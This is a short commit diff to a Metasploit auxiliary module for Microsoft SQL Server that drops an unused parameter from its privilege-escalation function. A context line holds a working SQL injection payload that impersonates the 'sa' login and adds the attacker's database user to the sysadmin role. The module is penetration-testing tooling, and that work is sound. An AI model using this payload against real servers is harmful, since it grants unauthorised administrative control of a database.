Removed imp_user var from escalate_privs func

modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb

@@ -190,7 +190,7 @@ class Metasploit3 < Msf::Auxiliary
   end
 
   # Attempt to escalate privileges
-  def escalate_privs(imp_user,db_user)
+  def escalate_privs(db_user)
 
     # Setup Query - Impersonate the first sysadmin user on the list
     evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember '#{db_user}','sysadmin';Revert;--"